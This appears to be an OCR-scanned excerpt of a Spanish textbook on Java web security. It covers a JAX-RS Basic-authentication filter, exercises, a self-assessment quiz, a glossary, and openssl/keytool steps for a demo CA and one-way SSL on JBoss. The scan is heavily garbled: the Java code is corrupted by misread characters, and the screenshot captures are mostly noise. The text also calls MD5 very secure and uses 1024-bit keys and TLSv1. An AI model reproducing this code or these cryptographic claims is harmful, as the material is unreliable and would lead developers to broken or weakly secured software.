public class AuthenticationFilter implements javax.ws.rs.contaimer.
ContainerReguestFilter

{

@lontext

private Resourcelnfo resowurceInfoj

private static final 5tring AUTHORIZATION_PROPERTY = “Autheorization™;
private static final String AUTHENTICATION_SCHEME = "“Basic™;

@iverride

public woid filter{ContainerRequestContext reguestlContext){

Method method = resourcelnfo.getfesourceMethod(};

ffComprobar acceso permitido para todos

if{ ! method.isAnnotationFresent{Peraitall.class)}{
if(method.isAnnotationPresent (DenyAll.class) }q{
requestContext.abortWith{forbiddenResponse(});

return;

}

ffobtener cabeceras de la request

final MultivaluedMap<String, 5trimg: headers = reguestContext.getHeaders();
ffobtener cabecera authorization

final List<5tring» authorization = headers.get{AUTHORLZATION_PROPERTY);
ffsi no envia authorization dewolver respuesta 481

if{authorization == null || authorization.isEmpty(}}{
requestContext.abortWith{unauvthorizedResponse()};

return;

1

ffobtener cadena codificada de authorization

final String encodedUserPassword = authorization.get(®).replacefirst
(AUTHENTICATION_SCHEME + ™ ™, ™"};

ffDecodificar user and password en basegd

S5tring usermameAndPassword = new String(Basebd.decode{encodedUserPassword.
getBytes()));;

[ /Obtener uwsuario y password por separado

final StringTokenizer tokenizer = new StringTokenizer{usernameAndPassword, ":");
final String username = tokenizer.nextToken();

final String password = tokenizer.nextToken();

ffcomprobar acceso para el usuario
if(method.isAnnotationPresent(RolesAllowed.class)){

RolesAllowed rolesdnnotation = method.getAnnotation(RolesAllowed.class);
Set«5tring> rolesSet = new HashSet<5tring:(Arrays.asilist({rolesAnnotation.
valuee(}});
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Registrar AuthenticationFilter con ResourceConfig

La forma mds rdpida de afadir el AuthenticationFilter para que cada
vez que se realice una peticiéon pase primero por el filtro, és a través de la clase
ResourceConfig de jersey.
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En el fichero web.xml definimos el servlet principal junto con la URL en
la cudl se atenderan las peticionesi/rest’®). La configuracion del web.xml quedaria
COmo:

Supongamos que tenemos ejecutando el servicio en la URL:
hitp:Hlocalhost: 8080 JaxSecurity/rest/customers

Si hacemos la peticion GET sin ninguna cabecera de authorization,
obtenemos acceso no autorizado (error 401).

¥ General
Request URL: http://localhest:8886, JaxSecurity /rest/customers
Request Method: GET

Status Code; @ 481 No Autorizado
Remote Address: 127.¢.8.1: 58888
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GET http: ocalhost:- 3080/ JaxSecurity/rest/
accept: =/=
accept-enceding: gzip, deflate, sdeh
ccept-language: es ,85:q=0_.8,en;q=0.6
control: no=c¢
i keep-ali

pHanagerlLang=en

ser-agent: 5.1 ; HOWE4) Applelebkit /S37.36 [KHTHL
Gecko) Chrome/43.0,2623. 87 Safari/S537.36

org.glassfish. jersey. filter LoggingFilter lo
¥ Seruer responded with & response on thread hitp-apr-B8080-exec-

4@
Content-Type: application/

Figura 3.7. Captura de pantalla. Ejecucion frest'customers

Si hacemos la peticion GET afadiendo la cabecera de authorization,
obtenemos el listado de costomers en formato JSON.

La cabecera de authorization gue tenemos que usar es aguella que nos
permile autenticarnos como usuario con ¢l rol ADMIN, para ello tenemos gque
introducir como usuario:password = jaxsecurity jaxsecurity.

Esta cadena la tenemos gque codificar en Base64, dando como resultado:
Basic amF4e2VjdXJpdHk6éamF4e2VjdXJpdHE=

De esta forma obtenemos un eddigo 200 OK y nos devuelve un JSON con
el listado de customers.

curiky/res tomers

deflate, sdch
cept=language : 3.8, en;q-8.8
suthorizatisn: B L jd¥ JpdHk EamF 4 c2U | d¥ JpdHk =
cache=control: no=cache
connection: keep-aliue
. gpplication)):
Ftoken=rY% :LIrJH1zﬂEub4DDPZD#EEui:Ei; bsAppManagerLang=en

r=ag : 8 [Windews NT &.7; WOWEH) RppleWebkit/537.36 [KHTML,
o] Chrome/49.8_ 2623 BT Safari/337.36

ish.jersey.filter LoggingFilter log
¥ Server responded with esponse on thread http-apr-8080-exec)

w2l
Content-Tupe: spplication

Figura 3.8. Captura de pantalla. Ejecucion frest'customers
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-

¥ Reoqusest Headers THE ST
Accepk: =

Accept-Encoding: g=ip, deflate, sdch

Aprent | g pans: s prig=i B g0 =g

g-Lonfrek no-cache

Connection: kesp-alive

Content-Type: applicationsdson

Cophie; carfosen=rrdsYeol [TV 1oy S0P R BEvinhi; bxbppilenegerleng=en
Hast: Localkast: 2838

Wiar-Agpen Mezillafs. @ [dindoss BT &.1; MOWS4) Applakebil1s537.3€ (KHTFL, llke Gacko) Cheods d9 @ J€13.87 Safarif937.3

i hitp: Mocalhast E0300 axSscurity'resticustomers

URL Parameier Key Value
Authorization Basic amF4cPid¥ I pdHkBamF4cdy a
Content-Type applicationdsan ,@
Hiader Value

m Preview Add fo collection

pp— G o G wrms

Frefly —Raw  Proview | 2} | JSON | xmL |

"CustomerList™: [

1 "IdTENAg

5 "Mame™: "Customer 17
o :I_-

/ i

B il Ry

9 "Hame®: "Customer 2"
¥ ¢
12 "Id": 3,

"Hame™: "Customer 3"

Figura 3.9. Captura de pantalla. Ejecucion POSTIMAN



148 SEGURIDAD EN APLICACIONES WEB JAVA ) R -M

3.10 EIERCICIOS

l. Realizar un proyecto Java con maven en Eclipse con el ejemplo
mostrado arriba.

(B8 JaxSecuriy
=1 srcfmain/java
= 5§ CONT_ A SECUhy
1[I AuthenticationFiker java
Customappication, jJava
Customer.java
Customers.java
Customersarvice.java
GsonMessageBodyHandler.java
-4 JerseyClientExamples.java
=-(® sre/main/resources
- groftestfjava
- grtest/resources
=-@h JRE System Library [JavaSE-1.7]
=@ Maven Dependencies
& s
#- & target
= pom.mil

HEEEEE

Figura 3.10. Proyecto con eclipse

Esta es la configuracion que tiene gue definirse en el fichero pom.xml para
que maven se baje las dependencias. Para actualizar las dependencias se
puede hacer desde las propiedades del projecto.

B /<4 Deperdency

lava EE Took * Add Plugin
Compare With ¥ M5 Mew Maven Moduke Project
Configure ]

Dowriload lavaDoc
Dovmiboad Sources

Properties At+Enter

Ctrl+Ak+P

Figura 3.11. Actualizar dependencias Maven=Update Pmject
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El proyecto se compila con maven y se genera un fichero JaxSecurity. war
Podemos desplegar este fichero en un servidor Tomeat.

Bf&--a- generated-sources
% JaxSecurity

--ﬁ- m2e-wip

--b maven-archiver
®-E> maven-status

=R 13 SeCUnTY. War

Figura 3.12. Obtencion JaxSecurity.war
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2. Modificar el ejemplo anterior para implementar la seguridad

utilizandoe un REALM.En lugar de validar las eredenciales desde
chdigo se propone validar al usuario desde un dominio{realm).

Un realm ¢s una base de datos que almacena los nombres de usuario y
contrasenias de un determinado dominio.

Por gjemplo, si utilizamoes Tomeat, podemos utilizar algunos de log realms
que trae por defecto incluvendo jdbeRealm, INDIRealm, MemoryRealm,
vy JAASRealm. También podemos crear un dmbito personalizado
implementando la interfaz org.apache.catalina.Realm, que es parte de
las librerias instaladas de Tomeat.

Para mds informacion acerca de los realms en tomeat se puede consultar
la ayuda en la documentacidn oficial: htp-omeat apache.orgftomeat-
6.0-doc/realm-howto html

3.11 RESUMEN

Este capitulo se centrd en los servicios web v cdmo se relacionan con la

seguridad en aplicaciones Java/l2EE.

Dada la particularidad de los servicios web, ademas de tener en cuenta todas

las indicaciones de seguridad dadas para el control de acceso v la autenticacidn,
la codificacion v validacion de entrada‘salida, el cifrado, es imporlante tener en
cuenta olras actuaciones concretas para garantizar la seguridad en el uso de servicios
web como habilitar mecanismos para la identificacion v autorizacion de servicios y

USUATIOS.

3.12 BIBLIOGRAFiA

¥ Jose Sandoval; RESTful Java Web Services;2009; Packt Publishing

F René Enriguez; RESTHul Java Web Services Security;2014; Packt

Publishing



154 SEGURIDAD EN APLICACIONES WEB JAVA ) R -M

3.13 AUTOEVALUACION UNIDAD 3

Selecciona la respuesta correcta

1. ;Qué protocolos soporta la libreria que permite invocar servicios web
desde java JAX-WES?

SOAPy REST
WSDL y SOAP
REST v WSDL
AJAX Y REST

B o oo

2. ;Qué anotacidn de la libreria JAX-WS indica que un determinado método
debe ser publicado como operacion del servicio?

. @ServiceMethod

. (@PublicMethod

. (' WebMethod

. (@WebServiceMethod

B o O

3. ;Qué tipo de autenticacion en servicios web se autentica al cliente
mediante un certificado digital de su propiedad?

Username token
X509 token

SAML token

Single Sign On (S50)

=W - -

4. ;Qué anotacidn de la libreria JAX-RS te permite definir el rol sobre ¢l
cudl una determinada aplicacion se puede ejecutar escribiendo dicha
anotacion a nivel general de una determinada clase?

a. (@RolesAllowed
b. @DenyAll
c. (@RunAs

d. (@PermitAll

5. ;Qué anotacion de la libreria JAX-RS define los roles permitidos para
ejecutar una determinada operacién de forma que si anotamos en una
clase JAX-RS, define el acceso para todas las operaciones HTTP definidas
en la clase JAX-RS v si anotamos un método JAX-RS, la restriceidn se
aplica solamente al método que se estd anotando?

a. (@PermitAll
b. [@RunAs
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c. (@DenyAll
d. @RolesAllowed

6. ;Como se llama el paquete que define un conjunto de anolaciones para
definir metadatos de autorizacion en la especificacion JAX-RS?

. javax.annotalion.security
. javax.security.annotalion
. javax.security.metadata
. javax.metadata.security

(- - T o i -]

7. ;(Cbhmo se llama la interfaz (paquete + clase) con la cudl podemos
construir una clase que actie a modo de filtro para validar que el usuario
tiene los permisos adecuados para realizar la peticion en la especificacion
JAX-RS?

. Javax.ws.rs.ContainerRequestFilter

. javax.ws.rs_ container. RequestFilter

. javax.ws.rs.container, ContainerRequestFilter
. javax.ws.rs.container.ContainerFilter

B o o

8. (Como se llama la interfaz{paquete +clase) con la cudl podemos validar la
identidad delusuario que realiza lainvocacidma un método proporcionando
sus credenciales de forma programdtica en la especificacion JAX-RS?

javax.ws.rs.SecurityContext
. javax.ows.rs.core SecurityContext
. javax.ws.rs . ContextSecurity
. Javax.ws.rs.core. ContextSecurity

e o oo

9. ;Qué método podriamos utilizar para determinar si el usuario que realiza
la llamada a un determinado método tiene el rol ADMIN o no?

ContextSecurity.isUserInRole("ADMIN™)
SecurityContextisUserInRole(“ADMIN™)
ContextSecurity.check UserRole(®* ADMIN™)
SecurityContext.check Role(“ ADMIN™)

= T~

10.;Con gqué etiquetas que hay que definir en el fichero descriptor de
desplicgue(web.xml) podemos especificar qué roles tienen permiso para
acceder mediante a la URL que definamos en dicho fichero?

<security-constraint> v <role-constraint>
<role-constraint> y <auth-constraint=
=security-role> v <role-constraint=
<security-consiraint> v <auth-constraint=

B o o
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3.14 LECTURAS RECOMENDADAS

¥ hitpdwwworestfuljava . com/

Fohitp:Awww juntadeandalucia.es/servicios/madefa/contenidao/
recurso/2 HH#WE-Security

3.15 GLOSARIO DE TERMINOS

¥ APIL:es el conjunto de subrutinas, luncienes v procedimientos {o métodos,
en la programacion orientada a objetos) que ofrece cierta biblioteca para
ser utilizado por otro software como una capa de abstracecion.

F AJAX: Asynchronous Javascript And XML («XML ¥ Javascript
asineronoss), es el acronimo de una solucion informdtica libre para el
desarrollo de aplicaciones Web.

¥ JAX-RPC: Llamadas a procedimientos remotos sobre XML API que
permite hacer llamadas a objetos remotos Java mediante el paso de
mensajes XML,

¥ Maven: Herramienta ampliamente utilizada en el desarrollo de
aplicaciones en Java. Aparece ante la necesidad de modelar el concepto
de “provecto™ y artefacto en forma estdndar independendientemente del
IDE de desarrollo.

F REST: Acronimo de Representational State Transfer, es un estilo de
arquitectura sofltware para sistemas hipermedia distribuidos, como la
World Wide Web. En la actualidad se usa para describir cualquier interfaz
entre sistemas que utilice directamente HTTP para obtener datos o indicar
la g¢jecuciom de operaciones sobre los datos en cualquier formato (XML,
JSOMN, ete).

F SOAP: Protocolo que define como se establece el intercambio de
informacion mediante XML,

¥ UDDI: Protocolo empleado para publicar la informacién del Servicio
Web v gque permite comprobar qué Servicios Web estdn disponibles.

F Web Service: Mddulo de software dedicado a una nica funcion o servicio,
que puede ser Hlamado por otra funcién o aplicacion mas genérica, para
desarrollar un servicio mds complejo. Esto permite crear una aplicacion
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Web basada en el uso de piezas Web. Proporciona una independencia
cliente-servidor ¥ aislan su funcionalidad del sistema operativo,

WSDL (Web Service Description Language): Norma para describir
un servicio web utilizando XML. Modela informacion con el objetivo
de detallar en qué consiste el Web Service, cudl es su funcionalidad, su
interfaz y donde estd ubicado v como se accede o invoca para su posterior
gjecucion.
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INTRODUCCION

Cuando hablamos de seguridad en aplicaciones web podemos distinguir dos
aspectos: por un lado estd la seguridad a nivel de servidor, es decir, como configurar
las restricciones de seguridad que va a tener la propia aplicacidn (qué operaciones
va a poder realizar v qué operaciones no, independientemente del usuario que esté
accediendo). Por otro, como autenticar a los usuarios y cdmo aplicar las restricciones
a las operaciones que puedan realizar dentro de la aplicacion. En este tema trataremos
estos dos aspectos, centrandonos sobre todo en el segundo.

OBJETIVOS DE LA UNIDAD DIDACTICA

1. Analizar la importancia de la seguridad en general v en concreto sobre
aplicaciones web.

2. Analizar la seguridad de los principales servidores de aplicaciones del
mercado y ver como implementarla en nuestras aplicaciones siguiendo
las particularidades de cada servidor.

3. Mostrar las principales herramientas para crear nuestros propios
certificados para implementar comunicaciones de forma segura mediante
S5L.
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4.1 INTRODUCCION

En una aplicacion web, dividimos la seguridad en:

L4

r

Disponibilidad: Ascgurar que las entidades o procesos aulorizados
tienen acceso a los activos cuando lo requieren.

Autenticidad: Verificamos quien es el usuario. Generalmente, esto se
hace pidiéndole un nombre de usuario ¥ un paysword, es decir, se verifica
que una entidad es quien dice ser o bien que garantiza la fuente de la que
proceden los datos.

Integridad: Asegurar que los datos que se envian entre el cliente y el
servidor no hayan sido alterados de forma no autorizada. Para esto, se
utilizan generalmente algoritmos de encriptacidn.

Confidencialidad: Asegurar que la informacidn ni se pone a disposicion,
ni s¢ revela a individuos, entidades o procesos no autorizados. Esto puede
hacerse con algoritmos de encriptacién ¥ con certificados digitales.

Trazabilidad: Verificar que las actuaciones de una entidad pueden ser
imputadas exclusivamente a dicha entidad.

A grandes rasgos, podemos tener basicamente dos molivos para proteger una
aplicacion web:

r
r

Evitar que usuarios no autorizados accedan a determinados recursos,
Prevenir que se acceda a los datos que se intercambian en una transferencia
a lo largo de la red.

Para cubrir estos agujeros, un sistema de seguridad se apoya en tres aspectos
importantes:

r

r

r

Autenticacidn v autorizacion: La autenticacion se refiere a identificar a
los actores que se conectan, lo cual se hard normalmente aportando unas
credenciales (login ¥ password), mientras que la autorizacion se refiere a
distinguir las operaciones que cada actor puede realizar.

Confidencialidad: Asegurar que solo los elementos gue intervienen
entienden el proceso de comunicacion establecido.

Integridad: Verificar que ¢l contenido de la comunicacion no se modifica
durante la transmision.
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Desde el punto de vista de guién controla la seguridad en una aplicacion
web, existen dos formas de implantacion:

F Seguridad declarativa: Aquella estructura de seguridad sobre una
aplicacion que es externa a dicha aplicacion. Con ella, no tendremos que
preocuparnos de gestionar la seguridad en ningdn servlet, pdgina JSP,
ete, de nuestra aplicacion, sino que el propio servidor Web se encarga de
todo. Asi, ante cada peticion, comprueba si el usuario se ha autenticado
ya, y si no le pide login v paysword para ver si puede acceder al recurso
solicitado. Todo esto se realiza de forma transparente al usuario.
Mediante el descriptor de la aplicacion principalmente (fichero web.
xml), comprueba la configuracion de seguridad que queremos dar.

F Seguridad programada: Mediante la seguridad programada, son los
servlets v paginas JSP quienes, al menos parcialmente, controlan la
seguridad de la aplicacidn.

Si realizamos una comparacion entre ambos tipos, podriamos destacar los
siguientes puntos:

F Seguridad declarativa

o Se declara en el descriptor de despliegue
o La gestiona ¢l propio servidor de aplicaciones
® No es necesario introducir codigo en los componentes web

F Seguridad programada

Debemos implementar la seguridad en nuestros componentes web
Nuestro codigo es responsable de la gestion de la seguridad

Mis flexible pero mas tedioso

Los cambios en seguridad implican normalmente cambios de codigo

4.2 ATAQUES A APLICACIONES WEB

Todas las empresas gue expongan sus servicios a Internet tendrin que
proteger muy cuidadosamente su informacidn y recursos. Desde luego que existen
sistemas mas criticos que otros, pero en general, todas las aplicaciones Web deben
estar resguardadas v aseguradas ante cualquier tipo de ataque.

Ya que las aplicaciones Web son globalmente pablicas pueden ser atacadas
libremente. Una aplicacion Web puede ser atacada por diferentes motivos v personas.
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Digamos, un hacker puede atacar por diversion, o quizdas un empleado despedido
quiera lomar venganza,

Generalmente, podemos hablar de 3 tipos de ataques:

¥ Atagues anénimos. Este tipo de ataque trata de obtener informacion
confidencial analizando las comunicaciones enire 2 PC's mediante un
proceso de sniffing. Una manera de prevenir este tipo de ataques es
encriptando los datos que son transmitidos. Por ejemplo, es comin gue
las instituciones financieras utilicen ¢l protocolo HTTPS.

F Ataques a la integridad. Este tipo de ataques altera la informacidn en
transito con fines maliciosos. Se puede evitar esto usando técnicas de
autenticaciom eficientes, como criptogralia de clave pablica.

F Atagues de denegaciom de servicios. Intenta inundar a un sistema de
falsas peticiones, provocando que el sistema aparezca como no disponible
para peticiones legitimas. Esto se previene usando firewalls gue bloguean
el trifico de red en puertos no utilizados.

4.3 AUTENTICACIONES

Veremos ahora algunos mecanismos que pueden emplearse con HTTP para
autenticar y validar a un usuario gue intenta acceder a un determinado recurso.

Autenticacion basic

El protocolo HTTP incorpora un mecanismo de autenticacion bdsico (basie)
basado en cabeceras de autenticacion para solicitar datos del usuario (el servidor) y
para enviar los datos del usuario (el cliente), de forma que comprobando la exactitud
de los datos se permitird o no al usuario acceder a los recursos. La autenticacion HTTP
bésica funciona mediante el envio del texto claro, nombre de usuario codificada en
Base6td v un par de Autorizacion de contrasefia en el encabezado HTTP.

La autenticacidn bisica no es segura ya que los nombres de usuario y
contrasefias son codificados utilizando la codificacién Base6d, que pueden ser
descifrados con facilidad. Sin embargo, la intencidén de base 64 no es asegurar ¢l
par usuario/password. En general, se resuelve este problema de seguridad utilizando
HTTPS (55L) en lugar de HTTP.
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Autenticacion digest

Una variante de esto es la autenticacion digest, donde, en lugar de transmitir
el password por la red, se emplea un passweord codificado. Dicha codificacion
se realiza tomando el fogin, password, URL, método HTTP y un valor generado
aleatoriamente, vy todo ello se combina utilizando el método de encriptade MD3,
muy seguro. De este modo, ambas partes de la comunicacion conocen el password,
y a parlir de &l pueden comprobar si los datos enviados son correctos. Sin embargo,
algunos servidores no soportan este tipo de autenticacion.

4.3.1 Certificados Digitales y SSL

Las aplicaciones reales pueden requerir un nivel de seguridad mavor que
el proporcionado por las autenticaciones basic o digest. También pueden requerir
confidencialidad e integridad aseguradas. Todo esto se consigue mediante los
certificados digitales.

F Criptografia de clave piblica: La clave de los certificados digitales reside
en la eriptografia de elave piblica, mediante la cual cada participante
en el proceso tiene dos claves, gue le permiten encriptar y desencriptar
la informaciém. Una es la clave publica, que se distribuye libremente.
La otra es la clave privada, que se mantiene secreta. Este par de claves
es asimétrico, es decir, una clave sirve para desencriptar algo codificado
con la otra. El encriptado con clave pablica se basa normalmente en el
algoritmo RSA, que emplea nimeros primos grandes para obtener un par
de claves asimétricas. Las claves pueden darse con varias longitudes; asi,
son comunes claves de 1024 o 2048 bits.

F Certificados digitales: Logicamente, no es practico teclear las claves del
sistema de clave pablica, pues son muy largas. Lo que se hace en su lugar
es almacenar estas claves en disco en forma de certificados digitales,
Estos certificados pueden cargarse por muchas aplicaciones (servidores
web, navegadores, gestores de correo, etc)

F SSL: Secure Socket Layer es una capa situada entre el protocolo a nivel
de aplicacién (HTTP, en este caso) y el protocolo a nivel de transporte
(TCP/IP). Se encarga de gestionar la seguridad mediante criptografia de
clave pablica que encripta la comunicacion entre cliente y servidor. La
versibn 2.0 de S5L proporciona autenticacion en la parte del servidor,
confidencialidad e integridad. Funciona como sigue:
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o Un cliente se conecta a un lugar seguro utilizando el protocolo
HTTPS (HTTP + SSL). Podemos detectar estos sitios porque las URL
comienzan con hitps.

o El servidor envia su clave pablica al cliente,

#® Elnavegador comprueba si la clave estd firmada por un certificado de
confianza. 8i no es asi, pregunta al cliente s1 quiere confiar en la clave
proporcionada.

Un certificado digital no es ni mas ni menos gue un pequeio documento en
el que incluye informacion sobre la identidad de un individuo o empresa, v una clave
publica asociada a dicho individuo. Por este motivo, también se les conoce como
certificados de clave publica o certificados de identidad. Existen varios formatos
para certificados digitales no obstante los mds comunes se rigen por el estindar,

X.509

Esta asociacion debe ir firmada digitalmente por alguien de confianza que
le otorgue validez, que son las denominadas autoridades de certificacion (CA). Hay
autoridades de certificacion privadas, compafias como Thawte o Verisign, v también
piblicas.

Autoridades certificadoras(CA)

Una autoridad certificadora es una organizacion fiable que acepta solicitudes
de certificados de entidades, las valida, genera certificados y mantiene la informacion
de su estado.

Las responsabilidades de un CA son:

F Admisién de solicitudes. Un usuario rellena un formulario v lo envia a
la CA solicitando un certificado. La generacion de las claves phblica y
privada son responsabilidad del usuario o de un sistema asociado a la CA.L

¥ Autenticacion del sujeto. Antes de firmar la informacion proporcionada
por el sujeto la CA debe verificar su identidad. Dependiendo del nivel de
seguridad deseado v el tipo de certificado se deberdn tomar las medidas
oportunas para la validacion.

¥ Generacion de certificados. Después de recibir una solicitud y validar
los datos la CA genera el certificado correspondiente v lo firma con su
clave privada. Posteriormente lo manda al subscriptor v, opeionalmente,
lo envia a un almacén de certificados para su distribucion.
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¥ Distribucion de certificados. La entidad certificadora puede proporcionar

un servicio de distribucion de certificados para que las aplicaciones
tengan acceso v puedan obtener los cerlificados de sus subscriptores.
Los métodos de distribucidn pueden ser: correo electronico, servicios de
directorio como el X 500 o ¢l LDAP, etc.

Anulacion de certificados. Al igual que sucede con las solicitudes de
certificados, la CA debe validar el origen v autenticidad de una solicitud
de anulacién. La CA debe mantener informacion sobre una anulacion
durante todo el tiempo de validez del certificado original.

Almacenes de datos. La designacion oficial de una base de datos como
almacén tiene por objeto sefalar que el trabajo con los certificados es
fiable v de confianza.

Introduccion a SSL

S5L es un protocolo es un protocolo desarrollado por Netscape, para permitir

confidencialidad y autenticacion en Internet. Funciona como una capa adicional con
lo cual es posible combinarlo con HTTPE, FTP o TELNET que son protocolos que
operan en la capa aplicacion de TCP/IP.Para establecer una comunicacion segura,
cliente ¥ servidor entablan un didlogo denominado handshake:

Browsar sends "Halln® |
and requesls & secure
zezsion fram weh serer |

|

Web semver raspondds by
sending owar its Ganer
certiicaia, containing
inforastion about the sile,
Carificats Auhoriy, sto
and & public kay

| Aftar the browser varifies
the cedificate, it sendsa |~
ore-tire “sassion” ley
grcrypted with tha
sarers public ey

L Sarer decrppts the one- |
- | time *sassion” key using
its priale key

A, SECUNE CONNECHON has Desn established, |
The padiock icon appears in the browser

Figurad4.1. Flujo de intercambio de informacion en S50
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Las fases son las siguientes:

1. Solicitud de SSL: El cliente solicita al servidor un recurso medianie
conexiom segura S5L. Envia una lista de los algoritmos de encriptacion
que soporta. El servidor normalmente acepta este tipo de peticiones por
un puerto distinto al habitual.

2. El servidor responde enviando un certificado digital para que el cliente
pueda comprobar la identidad del servidor, el algoritmo de criptografia
mas potente de los que ambos puedan utilizar ¥ una clave pablica para
encriptar la informacién que van a intercambiar,

3. El cliente comprueba si el certificado es de un sitio de confianza y si esto
es asi genera una clave privada de “sesion™ aleatoria que envia encriptada
al servidor con su clave pablica.

4. Esta clave de sesidon junto con el algoritmo de encriptacién es lo que se
va a utilizar en cada mensaje entre cliente vy servidor. Para verificar los
valores negociados, ambas partes se envian de nuevo la clave de sesion y
verifican que coincidan. 5i esto es asi, la fase de handshake finaliza y se
establece el canal de comunicacidn seguro.

One-Way v Two-Way SSL

En ¢l ejemplo de handshake anterior, observamos que ¢s ¢l servidor el que
en un momento dado debe acreditar su identidad mediante un certificado digital, que
el cliente debe validar. Este tipo de negociacion recibe el nombre de One-Way S5L.

Adicionalmente, puede exigir al cliente que se identifique enviando otro
certificado digital, que el servidor deberd validar. 51 el uno confia en ¢l otro, se
establecerd el canal de comunicacion seguro. A esta modalidad de S5L se la denomina
Two-Way S5L.

Creaciton de nuestra CA

El primer paso para trabajar con certificados v 851 es verificar que tenemos
instaladas las herramientas OpenSSL. Para instarlarlo en sistemas UNIX se puede
hacer con el comando apt-get:

sudo apt-get install openssl

Una vez instalado, hay que realizar un cambio en la configuracion, que nos
va a permitir firmar certificados:
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fusrflibfssl/openssl.conf
basicConstraints=CA:TRUE # Antes FALSE

Ltilizaremos openssl para generar certificados v firmar, ¥ la herramienta
Keytool de java para importar estos certificados en almacénes de certificados en
formato JKS.

Los almacénes son ficheros protegidos donde podemos almacenar uno o
mas certificados digitales. Cada certificado digital estard asociado a un alias que
se utilizard para recuperar ¢l certificado del almacén. Es habitual tener un almacén
para los certificados de identidad (aguellos gue el servidor de aplicaciones utiliza
para identificarse) v otro de confianza {(certificados de cliente v/o CA’s considerados
como validos).

Para empezar, vamos a definir un certificado de CA ficticia que serd quien de
“credibilidad™ a los certificados que vamos a crear,

% openssl reg -x589 -newkey rsa:2848 -keyout selfkey pem -out
selfcert.pem -days 365

Este comando nos pedird la informacion que describird a nuestra CA:

Leading “sereen’ into random state - done
Generakbing & 2058 bt > ate Eey

uriting ned private k Ifkey. pen’

armation that will be i porated
into your cartilfis
What you are a 0 uished Mame or a ON.
There are IIlluitE' a fed fiel

1elds there

name ] |
[:demo
1
1anal Unit Hame (eg,. =
Camps me (&, g, ¢ var FOON ar
Email Rddress []:dem @mo . COm

Figura 4.2. Captura de pantalla. Ejecucion openss

Este comando nos genera como salida los ficheros selfeert.pem y selfkey.pem
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Ahora importaremos este certificado en un almacén denominado trust.jks
(certificados de confianza)

% keytool -import -trustcacerts -alias trustself -keystore trust.jks -file

selfcert.pem -keyalg R5A -keypass secreto -storepass secreto

Figura 4.3. Captura de pantalla. Ejecucion keytool

Configuracion del servidor para One-Way 55L

En esta modalidad de S5L, es el servidor el que debe identificarse al cliente
y este confiar en ¢él. Los pasos a seguir para configuar nuestro servidor son:

I. Crear un certificado que identifique a nuestro servidor, para ello
utilizaremos OpenSSL v los siguientes comandos:

#tcrear una clave nueva de certificado

% openssl genrsa -out server.key 1824

ficrear una peticidm de certificado
% openssl req -new -key server.key -out server.csr
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[=x]
(¥ =)

Loading “screen” into random state done
Generating R5A private key, 1824 bit long modulus
T EET

e

Al ejecutar el segundo comando, la herramienta nos ird pidiendo datos
para incluir en la peticién de certificado:

Loading 'screen’ into random state - done

You are about to be as ) ter information that will be incorporated
into your certificate

ihat you are about to x What is called a Distinguished Hame or a OM.
There are quite a few fields but you can leave some blank

For some fields there will be a default uvalue,

If you enter ".°, the field will be left blank.

Country Hame (2 letter code) [AU]:EZ

State or Province Name (full name) [Scme-State] ES

Locality MWame (eg. city) []:demo

Organization Mame (eg. companu] [Internet Widgits Pty Ltd]:deme
Organizational Unit Name {eg, ction) []:demo

Common Wame {(e.g. server FODN or YOUR name] []:demo

Email Address [].demo@demo.com

Please enter the following ‘extra’ attributes
to be sent with your certificate reguest

Figura 4.4. Captura de pantalla. Ejecucion openss|

51 guisiéramos obtener un certificado aprobado por una CA real,
deberiamos enviar el fichero server.esr a dicha autoridad v esta nos
generard el certificado v nos dard las instrucciones necesarias para

descargarlo.
2. Creacion del certificado firmado con el certificado con nuestra CA:
% openssl x589 -reg -days 365 -in server.csr -CA selfcert.pem -CAkey

selfkey.pem -set_serial 81 -out server.crt

Loading "screen’ into random state - done
Signature ok
subjects /CzES/ST=ES/L=dema,/0=demo/0Us: deno/CN=demo/emailAddress: demoRdema , com

Getting CA Private Key
Enter pass p e for selfkey.pem:

Figura 4.5. Captura de pantalla. Ejecucion openss|
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4,

L

.

El serial number del certificado sirve para identificar los certificados
firmados por una CA, v debe ser distinto para cada certificado. Por
simplicidad, vamos a enumerarlos manualmente.

Importar el certificado en nuestro almacén de identidad:

La herramienta keytool no permile imporlar directamente la clave
privada de los certificados en los almacénes a partir de un certificado y su
clave, por lo que tenemos que recurrir a un formato intermedio PRCS12:

# Conwertir a PKCS12

% openssl pkcsl? -export -name servercert -im server.crt -inkey
server.key -

out keystore.pll

fifinalmente importarlo en jks

% keytool -importkeystore -destkeystore identity.jks -srckeystore
keystore.pl? -srcstoretype pkcsl? -alias servercert -keypass secreto -

storepass Secreto

Comprobar que los certificados estin importados correctamente en
el almaceén con la herramienta Keytool:

% keytool -list -v -keystore trust.jks -storepass secreto
% keytool -list -v -keystore identity.jks -storepass secreto

Figura 4 6. Captura de pantalla. Ejecucion keytool

Copiar los almacénes a la carpeta standalone/configuration del
servidor donde estemos probando.

Si estamos utilizando JBoss como servidor de aplicaciones, podemos
definir el realm asociado a los certificados en el lichero standalone.xml:
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¢security-realm name="SecurefRealm™»

<server-identitiess»

€551

<keystore path="identity.jks"” relative-to="jboss.server.config.dir®
keystore-password="secreto” alias="servercert”s»

£ /55>

<fserver-identities>

«fsecurity-realms

7. Paraactivar HT'TPS en el servidor podemos crear un nuevo conector

con la informacion del certificado.

<connectoer name="https" scheme="https” protocol="HTTP/1.1" socket
binding="https” enable-lookups="false” secure="true":

<551 name="servercert-ssl* password="secreto” protocol="TLSv1" key
alias="servercert” certificate-key-

file=".. fstandalone/configuration/identity.jks® /»

<fconnector:

Con esta configuracidn, estamos indicando que para las peticiones
gue lleguen por hitps nuestro servidor se identificard con el certificado
asociado al alias servercerl.

Iniciar el servidor. Con e¢sto yva hemos completado los pasos para
implementar One Way 55L. Ahora nos queda hacer gue el navegador
reconozea el certificado servercert como vilido.

# Su conexion no es segura

El propistario de bocalhost ha corfigurado su sitio web de maners
icaimects, Pars eviler Gue su informacion sea mobada, Firsfox fmo ha
toreciado con este ditio wels

Saber mas

T -

Irrformar de smores come 2ste pars ayadear 2 Mozila 2 denbficer los
sitigs s confligurisdes

—

Figura 4.7. Aviso del navegador cuando la conexion no es segura

Para conseguir esto basta con importar el certificado de la CA en la lista
de certificados de autoridades certificadoras del navegador. En Firefox lo
podemos hacer desde Editar— Preferencias— Avanzado—Cifrado—
Ver certificados:
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Administrador de certificados

ﬂ:smﬂbaﬂusl mmlm Autondades |ﬂtm|

Tene certficados en archvo que dentfican estas autondades certificadoras:
Mombye del certficadn | Dspostrs de sequrdad |m
apCCamefmasA. e
Chambers of Copnmerce Root - 2008 Buitin Object Token b
Glohal Chambarsan Root - 2008 Buitn Cxect Token
